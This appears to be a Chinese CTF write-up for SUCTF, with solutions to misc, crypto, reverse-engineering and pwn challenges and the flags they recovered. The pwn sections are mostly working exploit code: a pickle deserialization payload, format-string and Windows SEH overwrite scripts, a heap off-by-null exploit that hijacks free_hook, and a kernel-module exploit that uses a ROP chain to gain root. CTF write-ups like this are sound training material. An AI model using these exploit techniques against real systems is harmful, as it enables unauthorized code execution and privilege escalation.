from base64 import b64decodea=open("1.txt","r").read()c=open("1.png","wb")c.write(b64decode(a))c.close()
一个猜数字游戏,题目提供了客户端和服务端。这个游戏有10轮,每轮猜0-10共11个数字,10轮全部猜中才出flag,直接碰撞不可能。
这题主要考察对 pickle
序列化的了解,读懂 pickle
的源代码,手工构造出相应 payload
即可。
RestrictedUnpickler.py
里重写了 find_class
,对反序列化的对象位置进行了限制,只允许 guess_game
下的模块,而且不允许含 __
的内置对象。
那么可以先反序列化一个 guess_game里的game对象
,然后再反序列化一个 guess_game.Ticket里的Ticket类
,参数 number
随便赋一个值(比如6),然后将 Ticket
赋值给 game的curr_ticket
覆盖服务端随机生成的 Ticket
,最后我们再反序列化一次最开始反序列化的 Ticket
,参数 number
赋相同值。
将以上反序列化过程,对照 pickle
源代码构造好一条语句,直接循环10次打过去,就能拿到flag。
构造好的 payload
:
ticket = b"\x80\x04cguess_game\ngame\nN(S'curr_ticket'\ncguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\x06sbd\x86bcguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\x06sb."
Flag: flag{cabe5968-8143-4c45-91b7-557edab2ab4d}
index.html里有一句话:can u find my secret
?
在两个js文件里搜,找到一个图片文件名:iZwz9i9xnerwj6o7h40eauZ.png
,下下来,用Stegsolver看一下LSB,发现有一串字符:U2FsdGVkX1+zHjSBeYPtWQVSwXzcVFZLu6Qm0To/KeuHg8vKAxFrVQ==
,根据U2FsdGVkX1猜测是密文,试了一下,3DES,密钥是index.html中的字符串ON2WG5DGPNUECSDBNBQV6RTBNMZV6RRRMFTX2===
的b32decode,解开可得flag
flag: suctf{U_F0und_1t}
简单看一下流量包,发现有很多png,foremost提取出来,图片有两种,一种是一个字符的镜面图片,另一种是空白图片,并且每隔15张字符图片后有10张空白图片。重新审计流量包,发现传输每张图片的流量的数据部分第3个字节有一定的变化规律,遂将该字节相同的空白图片与字符图片一一对应,即得flag。
flag: suctf{My_usb_pr0toco1_s0_w3ak}
gmp库计算RSA
直接在factordb分解N
from Crypto.Util.number import inversep = 282164587459512124844245113950593348271q = 366669102002966856876605669837014229419n = p*qphi = (p-1)*(q-1)e = 65537d = inverse(e,phi)c = 0xad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35m = pow(c,d,n)print(hex(m)[2:-1].decode("hex"))
用ollvm混淆过的c++代码。
开头给了一个类似哈希的东西,先不管。
ollvm中应该开了运算混淆,流程平坦化和一些虚假分支,调试一下发现主要流程就在那一堆lamda那里。
输入一共21位长度,从下标为1开始加密,和之前一位进行一些四则运算,然后和enc比较,enc一共20位。
这些四则运算都是可逆的,所以知道一位就能求出下一位,只需要爆破下标为0的字符,即可求出flag
enc = [ 0xF3, 0x2E, 0x18, 0x36, 0xE1, 0x4C, 0x22, 0xD1, 0xF9, 0x8C,
0x40, 0x76, 0xF4, 0x0E, 0x00, 0x05, 0xA3, 0x90, 0x0E, 0xA5]for j in range(256):
a = [j]
for i in range(0,20):
a.append(((enc[i] ^ ((a[i]^18)*3+2))-(a[i]%7))&0xff)
s = "".join(map(chr,a))
if "flag" in s:
print(s)
查一下md5发现是井号,也就是第一个字符。
程序有多处反调试,以及多处check,通过这些check会还原一个dll,后面多线程会进入这个dll最终到一段aes的逻辑得到flag。
程序中的字符串都被某一个字符异或加密了,所以搜不到字符串,但是可以对key数组查找引用找到所有加密的字符串。
做法以调试为主,先把地址随机化关掉,然后在所有Isdebuggerpresent和exit处下断点查看,基本遇到的反调试直接nop/jmp掉
开始的tls回调函数会解密四个字符串NtQueryInformationProcess,ZwQueryInformationThread,NtQueueApcThread和ntdll.dll。查找这些字符串的引用可以在后面看到用GetProcAdreee获取这些函数地址。但是使用ida调试的时候,tls回调函数被多次调用了,可能是后面多线程的关系,导致这些字符串被重复加密,到最后就没被还原去使用了,所以在这里打断点,第一次停下的时候执行解密,之后每次停下都直接set ip到最后ret
main函数逻辑较为简单:开头起了多线程,先看主线程的逻辑:
先输入一串passwd,经过一串简单的加密,解密出来是
Akira_aut0_ch3ss_!
之后第二个check会获取当前目录,在后面加一个:signature后打开,比如/WinRev.exe:signature
,从中获取内容并md5校验。md5解出来是Overwatch
问了下队里师傅,冒号说是文件流,可以通过以下指令写入:
type 1.txt >> WinRev.exe:signature
1.txt中放要写入的内容。把"Overwatch"字符串写入后就能通过check。
注意到两个check通过后都会调用sub_140006C10
函数,里面调用了某个函数,下断跟进后发现是这两个函数
sub_140008910
和sub_1400089E0
他们对全局变量unk_1400111A0
进行了解密,然后SetEvent一个Handles变量,这个变量一共又三个。通过查找他的交叉引用以及sub_140006C10
函数的引用,发现在开头起的多线程里面sub_140008B20
又被调用了。简
单分析下这个函数,发现这里md5了什么东西并和一些md5值校验,相等则直接exit。这里可以猜到md5的可能是进程名,如果有ida.exe等进程则退出,通过下断点调试也能发现,在退出时可以看到md5的内容是ida64.exe。通过进程名校验后会调用sub_140006C10
解密。判定了一个全局变量,所以只会解密一次。
全部通过这三个校验并完成,会看到解密完的结果有pe头。dump出来是个dll
之后main函数就没啥用了,sleep挂起。为了方便调试,可以修改sleep的时间,调大一些。
接下来主要是另一个线程中干的事了。分析beginthreadex的起始函数,注意到里面有个sub_140009850
中信息很多。发现了DllInput以及校验了MZ字符。开头他在等待三个Handles设定完毕。但进入这个函数的条件byte_140016198
一直没找到在哪设置。分析sub_140008D20
函数,他会调用参数一函数指针,查找这个全局变量的引用,看到它是在sub_140009C20
中被设置,同样的还有qword_140016178
和qword_140016180
,他们最终被sub_140008850
设置成一开始tls回调函数解密的NtQueryInformationProcess,ZwQueryInformationThread和NtQueueApcThread,当他们都被成功设置后,就能成功进入sub_140009850
的逻辑了。
如果wait到一个258的信号,会提示time out并推出,所以之前sleep要改长一点。
单步调试发现到sub_140007D80
里面会获取输入,逐步f8跟进最终来到sub_180002880
是最后的逻辑:
__int64 sub_180002880(){
__int64 v0; // rax
__int64 v2; // [rsp+0h] [rbp-B8h]
__int64 v3; // [rsp+20h] [rbp-98h]
__int64 v4; // [rsp+30h] [rbp-88h]
__int64 v5; // [rsp+38h] [rbp-80h]
__int64 v6; // [rsp+40h] [rbp-78h]
__int64 v7; // [rsp+48h] [rbp-70h]
char v8; // [rsp+50h] [rbp-68h]
char v9; // [rsp+68h] [rbp-50h]
char v10; // [rsp+80h] [rbp-38h]
__int64 v11; // [rsp+90h] [rbp-28h]
memset(&v8, 0, 0x11ui64);
ucrtbase_puts("Now check the sign:");
sub_1800027A0("%32s", &v8);
v5 = kernel32_OpenEventW(2031619i64, 1i64, L"DLLInput");
if ( v5 )
{
kernel32_WaitForSingleObject(v5, 0xFFFFFFFFi64);
kernel32_CloseHandle(v5);
v4 = kernel32_OpenFileMappingW(983071i64, 0i64, L"ShareMemory");
if ( v4 )
{
v3 = 0x8000i64;
kernel32_MapViewOfFile();
v7 = v0;
if ( v0 )
{
kernel32_CloseHandle(v4);
v6 = ucrtbase_malloc(0x8000i64);
vcruntime140_memset(v6, 0i64, 0x8000i64);
vcruntime140_memcpy(v6, v7, 0x8000i64);
strcpy(&v10, "Ak1i3aS3cre7K3y");
memset(&v9, 0, 0x11ui64);
sub_180002800(&v10, &v9, v6);
if ( (unsigned int)ucrtbase_strcmp(&v9, &v8) )
sub_1800026F0("wow... game start!\n");
else
sub_1800026F0("Get finally answer!\n");
}
else
{
kernel32_CloseHandle(v4);
}
}
}
return sub_180002AB0((unsigned __int64)&v2 ^ v11);}
其中sub_180002800
很容易看出是aes,密文是之前另一个线程里面看起来很像密文的东西,key就在这里。由于这里获取输入后直接跟解密后的明文比较,所以不需要自己解密,在strcmp下断点就能看到flag了:
flag{Ak1rAWin!}
使用unicorn引擎,翻一下unicorn源码可以得知几个函数及参数的意思
https://github.com/unicorn-engine/unicorn/blob/master/include/unicorn/unicorn.h
https://github.com/unicorn-engine/unicorn/blob/master/include/unicorn/mips.h
可以得知架构是mips,小端序
输入的flag与结果分别被写到两个地址,分别作为指针通过a0和a1传入,然后设置了fp和sp的值。代码写到另一个地址,然后开始执行。最后从结果处读数据与常量对比。
ida自带有mips小端序处理器模块,使用retdec插件可以反编译,但是效果不是很好。
不过代码逻辑特别简单,很容易能看懂。
先是循环左移三位,然后异或下标,最后互相加减计算出42个结果。
因此只需解42元方程组。
编写脚本提取出方程组:
bg = 0x00000378 end = 0x00007058 addr = bg def next_instr(addr): return addr+ItemSize(addr) counter = 0 counter_c = 1 while(addr<end): counter = 0 print "flag[0]", while(True): next = next_instr(addr) mnem = GetMnem(addr) if 'addiu' in mnem: counter+=1 elif 'addu' in mnem: print "+ flag[%d]"%counter, elif "subu" in mnem: print "- flag[%d]"%counter, if "sw" in GetDisasm(addr): print("== cipher[%d]"%counter_c) addr = next addr = next_instr(addr) addr = next_instr(addr) break addr = next counter_c+=1
然后用文本操作提取出矩阵,解出flag
from numpy import *from struct import unpackA = mat([[1,1,1,-1,1,-1,-1,-1,-1,1,1,-1,1,-1,-1,1,-1,-1,1,1,-1,1,1,1,1,-1,1,-1,1,1,-1,-1,1,-1,1,1,-1,-1,1,-1,1,1],[1,-1,1,-1,-1,1,-1,-1,-1,-1,1,-1,1,-1,-1,1,-1,-1,1,-1,1,1,-1,-1,-1,1,-1,1,-1,-1,1,1,1,1,1,1,-1,-1,-1,-1,-1,1],[1,-1,1,1,-1,1,-1,-1,1,-1,-1,-1,-1,-1,1,-1,-1,1,1,1,1,1,-1,1,1,1,1,-1,1,-1,1,-1,1,1,-1,-1,1,1,1,-1,1,-1],[1,-1,-1,-1,-1,-1,1,1,-1,-1,-1,-1,1,-1,1,-1,1,-1,1,1,1,-1,1,1,1,-1,-1,1,-1,1,1,-1,-1,-1,1,-1,1,1,1,-1,1,1],[1,-1,-1,1,-1,-1,1,1,1,1,-1,1,1,-1,1,-1,1,1,-1,1,-1,1,-1,-1,-1,1,-1,-1,-1,1,1,1,-1,1,-1,-1,1,-1,1,-1,-1,-1],[1,1,1,1,1,1,1,1,1,-1,-1,-1,-1,-1,-1,1,-1,1,-1,1,1,-1,1,-1,1,-1,1,1,-1,1,-1,1,1,1,-1,-1,-1,1,-1,-1,1,1],[1,-1,1,1,1,-1,1,1,1,1,-1,1,1,-1,1,1,1,1,-1,-1,-1,-1,-1,-1,1,1,-1,1,1,1,-1,-1,-1,-1,-1,-1,1,1,-1,-1,1,-1],[1,1,-1,-1,-1,1,1,-1,1,1,-1,1,-1,1,-1,1,-1,1,-1,-1,1,-1,1,-1,-1,1,-1,1,1,1,1,1,1,-1,1,-1,1,1,1,1,-1,-1],[1,-1,-1,1,1,-1,1,1,1,1,1,-1,-1,1,-1,1,1,1,1,-1,1,1,-1,-1,1,1,1,-1,1,-1,-1,-1,-1,-1,1,-1,-1,1,-1,-1,1,-1],[1,1,1,-1,1,1,1,-1,-1,-1,-1,1,1,1,-1,1,1,-1,-1,1,1,-1,-1,-1,1,-1,-1,-1,1,1,1,-1,1,1,-1,-1,-1,-1,1,-1,1,1],[1,-1,1,1,-1,-1,1,1,-1,-1,-1,-1,1,1,1,-1,1,-1,1,1,1,-1,1,-1,-1,-1,1,-1,-1,1,-1,1,1,-1,-1,1,-1,-1,1,-1,1,1],[1,-1,1,1,1,-1,1,1,-1,1,1,-1,-1,-1,-1,1,-1,-1,-1,1,1,-1,1,-1,1,1,1,1,-1,1,1,-1,-1,-1,-1,-1,1,1,-1,-1,-1,-1],[1,-1,-1,-1,1,-1,-1,1,1,-1,1,-1,-1,-1,1,-1,1,-1,1,-1,-1,-1,-1,1,-1,1,-1,1,-1,1,-1,-1,1,1,1,-1,-1,-1,-1,1,-1,-1],[1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,1,1,1,-1,-1,-1,1,1,1,-1,-1,1,1,-1,-1,1,1,-1,-1,-1,1,-1,-1,1,-1,-1,-1,1,-1],[1,1,1,-1,-1,-1,1,-1,1,1,1,-1,1,-1,-1,1,1,1,-1,-1,-1,-1,1,1,1,-1,1,1,1,-1,-1,-1,1,1,1,1,1,1,1,-1,-1,-1],[1,-1,1,1,1,1,-1,1,-1,-1,-1,1,1,1,-1,-1,-1,1,-1,-1,-1,-1,1,1,1,1,1,1,-1,-1,-1,-1,1,-1,1,1,1,1,-1,1,1,-1],[1,-1,1,1,-1,-1,1,1,1,1,1,-1,1,-1,1,1,1,-1,1,-1,1,-1,-1,-1,-1,-1,1,1,1,1,-1,-1,1,-1,-1,1,-1,1,-1,1,-1,1],[1,1,1,1,1,-1,1,1,1,-1,-1,1,-1,1,1,1,-1,1,-1,-1,1,-1,1,-1,-1,1,-1,1,-1,1,-1,-1,1,-1,-1,1,-1,1,-1,1,1,-1],[1,-1,-1,-1,1,1,-1,1,-1,1,1,-1,-1,-1,1,-1,-1,1,1,1,-1,-1,-1,-1,-1,-1,-1,-1,1,1,1,-1,-1,-1,1,-1,-1,-1,-1,-1,-1,1],[1,1,1,1,-1,-1,1,-1,-1,-1,-1,-1,-1,-1,1,1,1,-1,1,1,1,1,-1,1,1,-1,1,1,-1,1,1,1,1,1,-1,1,-1,-1,-1,1,1,-1],[1,1,-1,-1,-1,1,-1,1,-1,-1,1,1,-1,-1,1,-1,-1,1,-1,-1,1,1,-1,1,1,-1,-1,-1,-1,-1,-1,-1,-1,1,-1,1,1,-1,1,-1,1,-1],[1,-1,-1,-1,1,1,1,1,-1,-1,-1,-1,-1,-1,-1,-1,-1,1,-1,-1,1,-1,1,1,1,-1,-1,1,-1,-1,-1,-1,-1,-1,-1,-1,-1,1,-1,-1,-1,1],[1,1,1,1,1,1,1,1,-1,1,-1,1,-1,1,1,1,-1,1,1,-1,-1,1,1,-1,1,-1,-1,1,-1,1,1,1,-1,1,-1,-1,-1,-1,1,-1,1,1],[1,-1,1,1,-1,-1,-1,-1,1,-1,-1,1,1,-1,-1,1,-1,-1,1,1,-1,-1,1,-1,1,1,-1,1,-1,1,1,-1,-1,-1,-1,-1,-1,-1,1,-1,-1,-1],[1,1,-1,1,1,-1,1,1,-1,1,1,-1,-1,-1,-1,1,1,1,-1,1,1,1,1,1,1,1,-1,-1,-1,1,1,-1,1,1,1,-1,-1,-1,-1,1,1,-1],[1,-1,1,1,-1,1,1,-1,1,1,1,-1,-1,1,-1,1,-1,1,1,1,-1,-1,1,1,-1,-1,1,-1,1,-1,1,-1,-1,1,-1,-1,-1,-1,1,-1,1,1],[1,1,1,1,1,-1,-1,1,-1,-1,-1,-1,1,-1,1,-1,1,-1,1,-1,-1,1,1,1,1,1,-1,-1,-1,-1,1,1,-1,-1,-1,1,1,-1,-1,1,1,1],[1,-1,1,-1,1,-1,-1,-1,-1,-1,-1,-1,1,1,-1,1,1,1,1,1,-1,-1,-1,-1,1,1,1,-1,1,1,1,-1,-1,-1,-1,1,-1,-1,-1,-1,-1,-1],[1,-1,1,1,1,-1,1,1,-1,-1,1,1,-1,1,-1,1,-1,1,1,1,-1,-1,1,-1,-1,-1,-1,1,-1,-1,-1,1,-1,-1,1,1,1,-1,-1,1,1,1],[1,1,-1,-1,-1,1,1,1,-1,1,-1,-1,1,-1,1,1,-1,1,1,-1,1,1,1,1,-1,1,1,-1,1,1,1,1,1,-1,-1,1,1,-1,1,1,-1,1],[1,1,1,1,-1,-1,-1,-1,1,1,-1,-1,-1,1,-1,-1,1,-1,-1,-1,1,-1,-1,1,1,-1,-1,1,-1,-1,-1,-1,-1,-1,-1,1,1,1,-1,1,1,1],[1,1,-1,1,1,-1,-1,1,1,1,1,1,1,-1,-1,-1,1,1,1,1,-1,1,-1,1,-1,-1,1,1,-1,1,-1,-1,-1,1,-1,1,-1,1,-1,1,-1,-1],[1,-1,1,1,-1,1,1,1,1,-1,1,1,-1,1,1,-1,1,-1,1,1,1,-1,-1,1,-1,1,1,1,-1,-1,-1,-1,-1,-1,1,1,1,1,-1,1,-1,1],[1,-1,-1,1,1,1,1,-1,-1,1,1,1,-1,-1,1,1,-1,1,-1,1,-1,1,1,1,-1,-1,1,1,-1,1,-1,-1,-1,-1,-1,-1,1,-1,1,-1,-1,-1],[1,1,-1,1,-1,-1,-1,1,1,1,1,1,-1,-1,-1,1,-1,1,-1,1,-1,-1,1,1,-1,-1,1,1,1,1,-1,-1,-1,-1,-1,-1,-1,1,1,1,-1,-1],[1,-1,1,1,1,-1,-1,1,1,-1,-1,1,1,1,-1,-1,1,-1,1,1,-1,-1,-1,1,1,-1,-1,1,1,-1,-1,1,1,-1,1,1,1,1,1,1,-1,-1],[1,1,1,-1,-1,-1,-1,1,1,1,-1,1,1,-1,1,1,1,1,1,1,1,1,-1,-1,1,-1,-1,-1,-1,1,1,1,1,-1,-1,-1,-1,1,-1,1,1,-1],[1,-1,-1,1,-1,1,-1,-1,-1,-1,1,-1,-1,-1,-1,-1,-1,1,1,-1,-1,-1,1,-1,1,-1,-1,1,-1,-1,1,1,-1,1,-1,1,-1,-1,1,-1,-1,-1],[1,1,1,1,-1,1,1,1,-1,-1,-1,1,1,1,-1,-1,-1,-1,-1,-1,1,1,-1,1,1,1,1,1,-1,-1,1,1,-1,-1,1,-1,-1,-1,1,1,1,-1],[1,-1,-1,-1,-1,1,-1,-1,-1,1,-1,1,-1,1,1,-1,-1,-1,1,1,1,1,1,-1,1,1,1,1,1,-1,1,1,1,1,1,-1,-1,1,1,1,-1,1],[1,-1,-1,-1,1,1,1,-1,1,1,-1,1,-1,-1,-1,1,1,1,1,1,1,1,1,-1,1,1,-1,1,1,-1,1,1,1,-1,-1,1,1,-1,1,1,1,1],[1,1,1,1,1,1,1,-1,-1,-1,1,1,-1,1,-1,-1,-1,-1,-1,-1,1,-1,1,-1,-1,1,1,1,1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,1]])res = "FFFFFF94FFFFFF3800000126FFFFFF28FFFFFC1000000294FFFFFC9E000006EA000000DC00000006FFFFFF0CFFFFFDF6FFFFFA82FFFFFCD000000182000003DE0000014E000002B2FFFFF8D800000174FFFFFAA6FFFFF9D4000001C2FFFFF97C0000035A00000146FFFFFF3CFFFFFA14000001CE000007DCFFFFFD48000000980000085EFFFFFDB0FFFFFFBC0000036EFFFFFF4EFFFFF836000005C0000006AE0000069400000022".decode("hex")y = []for i in range(42):
tmp = res[i*4:i*4+4]
tmp = unpack(">i",tmp)[0]
y.append(tmp)B = mat(y)B = B.reshape(42,1)B = A.I*BB = B.reshape(1,42)B = B.tolist()[0]for i in range(42):
B[i] = int(round(B[i]))
B[i]^=i
B[i] = (B[i]>>3)|(B[i]<<5)
B[i]&=0xffprint("".join(map(chr,B)))
不太懂c++,瞎调。
首先在00000001400016A3
有两个check,一开始不知道干啥的,随便试
后面看到sub_140002B80
里面有isspace和ispunct,猜测跟符号有关。瞎调调出来是用符号分割成几部分,第一个校验3部分,第二个校验第一部分的长度10
之后在0000000140001763
附近把第一组异或了0xAB,然后和常量对比。然而常量只有5字节,实在想不出还有啥东西了,就直接跳过了
下一部分校验长度4,然后校验大写字母,然后是A-G,后一字节依次比前一字节大2,得出ACEG
最后一部分先是atoi,然后校验偶数,和两个方程。直接z3求出。
from z3 import Solvers = Solver()x = BitVec("x",32)s.add(x&1==0)s.add(((0x4D2 * x + 0x162E) / 0x112C ^ 0xABCDDCBA) == 0xABCDB8B9)s.add(((0x91E * x + 0x2693) / 0x1E61 ^ 0x12336790) == 0x1233FC70)print(s.check())print(s.model())
得到flag:
suctf{ACEG31415926}
flag在堆上格式化字符串读出来就可以
from pwn import *context.log_level = "debug"main_ebp_offset = 26def format_offset(format_str , offset):
return format_str.replace("{}" , str(offset))def get_target(offset , name):
payload = format_offset("%{}$p\x00" , offset)
p.sendline(payload)
text = p.recv()
try:
value = int(text.split("\n")[0] , 16)
print(name + " : " + hex(value))
return value
except Exception, e:
print textdef modify_byte(last_byte , offset):
payload = "%" + str(last_byte) + "c" + format_offset("%{}$hhn" , offset)
p.sendline(payload)
p.recv()def modify(addr , value , ebp_offset , ebp_1_offset):
addr_last_byte = addr & 0xff
for i in range(4):
now_value = (value >> i * 8) & 0xff
modify_byte(addr_last_byte + i , ebp_offset)
modify_byte(now_value , ebp_1_offset)p = process("./playfmt")#elf = ELF("./playfmt")#p = remote("120.78.192.35",9999)elf = ELF("./playfmt")p.recvuntil("=\n")gdb.attach(p)raw_input()play_ebp_addr = get_target(6, "ebp")raw_input()ebp_addr = get_target(6, "ebp")flag_ptr = 19flag_addr = get_target(flag_ptr , "addr") - 0x420log.info(hex(flag_addr))modify(ebp_addr + 4 , flag_addr , 6 , 14)payload = format_offset("%{}$s\x00" , 14 + 1)p.send(payload)p.interactive()
为方便本地测试,先可选头中的地址随机化选项关掉。
开始让你输入一个数,这里有栈溢出,但是没用,因为最后是直接exit掉的。
注意到0040853C
有一处花指令,实际上这里就是获取下一行的地址,然后把输入减去这个地址,然后输入除以它。
这时想到,如果除以零会怎样,于是输入0040853C,发现通过异常处理进入了新的函数sub_407F60
分析这里的功能,它提供了10次任意地址读取。输入选项yes和no的时候有栈溢出,同时如果输入的不是yes或no,调用fgets又能栈溢出。
开头写死了两个1。结束时会把他们相加然后与三校验,正确会输出flag。我们输入的字符串是在这两个数据高位的,所以不能溢出覆盖到他们。
同时由于最后也是exit掉的,所以也不能覆盖返回地址。
测试了下任意地址读取,如果输入非法地址会异常,进入一个异常处理函数。
观察一下函数开头的代码:
.text:00407F60 push ebp .text:00407F61 mov ebp, esp .text:00407F63 push 0FFFFFFFEh .text:00407F65 push offset dword_47ACC0 .text:00407F6A push offset SEH_407F60 .text:00407F6F mov eax, large fs:0 .text:00407F75 push eax .text:00407F76 add esp, 0FFFFFF2Ch .text:00407F7C mov eax, ___security_cookie .text:00407F81 xor [ebp+var_8], eax .text:00407F84 xor eax, ebp .text:00407F86 mov [ebp+var_1C], eax .text:00407F89 push ebx .text:00407F8A push esi .text:00407F8B push edi .text:00407F8C push eax .text:00407F8D lea eax, [ebp+var_10]
security_cookie是全局变量上一个值,每一个进程自始至终是固定的。它异或到了ebp-8的数据上,调试一下发现这里指向SEH结构体,之后又异或了ebp放到ebp-1Ch作为canary。
想到可以在栈上伪造一个seh结构体,然后把ebp-8覆盖成我们伪造的结构体,结构体中的异常处理函数改成程序中的后门地址。由于这个地址异或了cookie,所以我们还要读取cookie的值。
经过多次调试发现还有一些栈上的值不能变,通过计算偏移覆盖或者直接用任意地址读取后覆盖。需要注意的是ebp-4应为0。
from pwn import *main_aslr = 0x1c395emain_addr = 0x0040395Ecookie_addr = 0x0047C004stack_addr = 0x19FF10cookie_aslr = cookie_addr-main_addr+main_aslrdef leak_stack(stack):
p.recvuntil("Do you want to know more?")
p.sendline("yes")
p.recvuntil("Where do you want to know?")
p.sendline(str(stack-stack_addr+stack_aslr))
p.recvuntil("value is ")
s = p.recvline().strip()
s = eval(s)
return sp = remote("121.40.159.66","6666")p.recvuntil("stack address = ")stack_aslr = eval(p.recv(8))log.success("stack:0x%x"%stack_aslr)p.recvuntil("main address = ")main_aslr = eval(p.recv(8))log.success("main:0x%x"%main_aslr)str4_addr = 0x0019FE48-stack_addr+stack_aslrp.recvuntil("So,Can You Tell me what did you know?")p.sendline("00408541")p.recvuntil("Do you want to know more?")p.sendline("yes")p.recvuntil("Where do you want to know?")p.sendline(str(cookie_aslr))p.recvuntil("value is ")cookie = p.recvline().strip()cookie = eval(cookie)log.success("cookie:0x%x"%cookie)s1 = leak_stack(0x19fed4)s4 = leak_stack(0x19fee0)s5 = leak_stack(0x19fee4)p.recvuntil("Do you want to know more?")p.sendline("y")payload = 'aaaa' + p32(0xffffffe4)+p32(0)+p32(0xffffff0c)+p32(0)+p32(0xfffffffe)+p32(0x408224-main_addr+main_aslr)+p32(0x00408266-main_addr+main_aslr)payload = payload.ljust(144,"a") + p32(s1) + 'a'*8 + p32(s4) + p32(s5) + p32(cookie^str4_addr) + p32(0)print(len(payload))p.sendline(payload)p.recvuntil("Do you want to know more?")p.sendline("yes")p.recvuntil("Where do you want to know?\r\n")p.sendline("0")p.interactive()
格式化拿内核地址和栈地址,堆溢出覆盖,多次分配到栈上ROP。
#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <sys/mman.h>#include <pthread.h>#include <sys/stat.h>#include <unistd.h>#include <errno.h>#include <fcntl.h>#include <sys/ioctl.h>#include <memory.h>#include <pty.h>#include <signal.h>#define kalloc 0x73311337#define kfree 0x13377331#define printk 0xDEADBEEF#define prepare_off 0x81790#define commit_off 0x81410#define pop_rdi_ret 0x3a591c#define mov_rdi_cr4 0x4e5b1#define pop_rdx_ret 0x44f17#define mv_rax_in_rdx 0x6b31void error_quit(char *p){
perror(p);
exit(-1);}void (*commit_creds)(void *);void (*prepare_kernel_cred)(void *);void get_root(int arg){
system("/bin/sh");;}int main(){
int i,fd,t[0x100];
char p[0x2008];
signal(SIGSEGV, get_root);
char *leak = "%lx %lx %lx %lx %lx kernel:0x%lx %lx %lx %lx stack:0x%lx %lx %lx %lx %lx aa\n";
unsigned long stack;
unsigned long kernel;
if ((fd = open("/dev/meizijiutql",O_RDWR)) == -1)
error_quit("open error");
for (i = 0; i < 0x103; i++)
ioctl(fd, kalloc, 0xff9);
write(fd, leak, strlen(leak));
ioctl(fd, printk, 0);
ioctl(fd, printk, 0);
printf("input kernel_base\n");
scanf("%lx",&kernel);
kernel = kernel & 0xfffffffffff00000;
kernel -= 0x100000;
printf("input stack_addr\n");
scanf("%lx",&stack);
stack = stack & 0xfffffffffffff000;
*((unsigned long *)&p[0x1000]) = stack;
write(fd, p, 0x1008);
memset(p,0x90,0x2000);
unsigned long *rop = (unsigned long *)&p[0xe50-8];
i = 0;
printf("0x%lx\n",pop_rdi_ret+kernel);
sleep(1);
rop[i++] = pop_rdi_ret + kernel;
rop[i++] = 0;
rop[i++] = prepare_off + kernel;
rop[i++] = pop_rdx_ret + kernel;
rop[i++] = stack + 0xe80;
rop[i++] = mv_rax_in_rdx + kernel;
rop[i++] = pop_rdi_ret + kernel;
rop[i++] = 0x6f0;
rop[i++] = commit_off + kernel;
rop[i++] = 0xa00d5a + kernel;
rop[i++] = 0x246;
rop[i++] = 0x021880 + kernel;
rop[i++] = get_root;
rop[i++] = 0x33;
rop[i++] = 0x246;
rop[i++] = p;
rop[i++] = 0x2b;
for (i=0;i<0x700;i++)
{
ioctl(fd, kalloc, 0xff9);
write(fd, p, 0x1000);
}
return 0;}
这道题比较简单
漏洞很明显,off by null
利用 off by null 可以控制其他chunk
然后再fastbin attack到heap第一个chunk那里
再利用题目给的rename,就可以进行任意写,写到free_hook为system,然后就可以了
exp如下
from pwn import *debug=0context.log_level='debug'if debug:
p=process('./pwn')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
gdb.attach(p)else:
p=remote('47.111.59.243', 10001)def ru(x):
return p.recvuntil(x)def se(x):
p.send(x)def sl(x):
p.sendline(x)def add(sz,name,price):
sl('1')
ru('length: ')
sl(str(sz))
ru('Name: ')
se(name)
ru('Price: ')
sl(str(price))
ru('>>> ')def comment(idx,content,score):
sl('2')
ru('Index: ')
sl(str(idx))
ru('Comment on')
se(content)
ru('score:')
sl(str(score))
ru('>>> ')def throw(idx):
sl('3')
ru('index: ')
sl(str(idx))
ru('Comment ')
data = ru(' will')[:-5]
ru('>>> ')
return dataadd(0x200,'a\n',100)add(0x100,'a\n',200)comment(0,'aaaa\n',100)throw(0)add(0x10,'a\n',100)comment(0,'a',100)libc = u32(throw(0)[4:8])if debug:
base = libc-0x1b27b0else:
base = libc-0x1b07b0throw(1)add(0x200,'c'*20+'\n',100)throw(0)add(0xc,'wwwww\n',100)comment(0,'a'*0x10,200)heap = u32(throw(0)[0x10:0x14])-0x48for i in range(8):
add(0x10,'a\n',100)for i in range(8):
throw(i)add(0x10,'b\n',200) #0add(0xa0,'a\n',100) #1add(0xfc,'a\n',100) #2add(0xfc,'b\n',200) #3add(0xfc,'c\n',300) #4throw(2)add(0xfc,(p32(0)*3+p32(0xf1)+p32(heap+0x288)+p32(heap+0x288)+p32(heap+0x278)*4).ljust(0xf8,'a')+p32(0xf0),200) #2throw(3)add(0xec,'a\n',100) #3add(0xfc,'b\n',200) #5throw(3)add(0x2c,'qqqqqq\n',100) #3add(0xbc,'a\n',100) #6throw(3)throw(2)#free_hook = base + 0x1b38b0free_hook = base + 0x1b18b0add(0xfc,p32(0)*3+p32(0x31)+p32(heap)+'\n',100) #2add(0x2c,p32(0)+p32(heap+0x8)+p32(0)+p32(free_hook)+p32(0)+p32(heap+0x298)+'/bin/sh\0'+'\n',100) #3add(0x2c,p32(heap+0x290)+p32(heap+0x280)+'\n',100) #7sl('4')ru('Give me an index: ')sl('1')sleep(0.5)se(p32(heap+0x290)+p32(heap+0x288))ru('Wanna get more power?(y/n)')sl('y')ru('Give me serial:')se('e4SyD1C!')sleep(0.5)#se('a'+p32(base+0x3ada0))se('a'+p32(base+0x3a940))print(hex(free_hook))print(hex(base))print(hex(heap))p.interactive()
题目给出4个N,不知道是咋生成的
瞎试,发现n0 n1不互质,后来发现任意两个都不互质,然后就能求出每个n的四个因子。
from pwn import *from hashlib import md5import decimalimport gmpy2def gcd(a, b):
if a < b:
a, b = b, a
while b != 0:
temp = a % b
a = b
b = temp
return aa = 0def oracle(num):
p.recvuntil("Please input your option:")
p.sendline("D")
p.recvuntil("Your encrypted message:")
p.sendline(str(num))
p.recvuntil("The plain of your decrypted message is ")
lsb = p.recv(3)
return lsb == 'odd'def partial(c,e,n):
k = n.bit_length()
decimal.getcontext().prec = k # for 'precise enough' floats
lo = decimal.Decimal(0)
hi = decimal.Decimal(n)
for i in range(k):
if not oracle(c):
hi = (lo + hi) / 2
else:
lo = (lo + hi) / 2
c = (c * pow(2, e, n)) % n
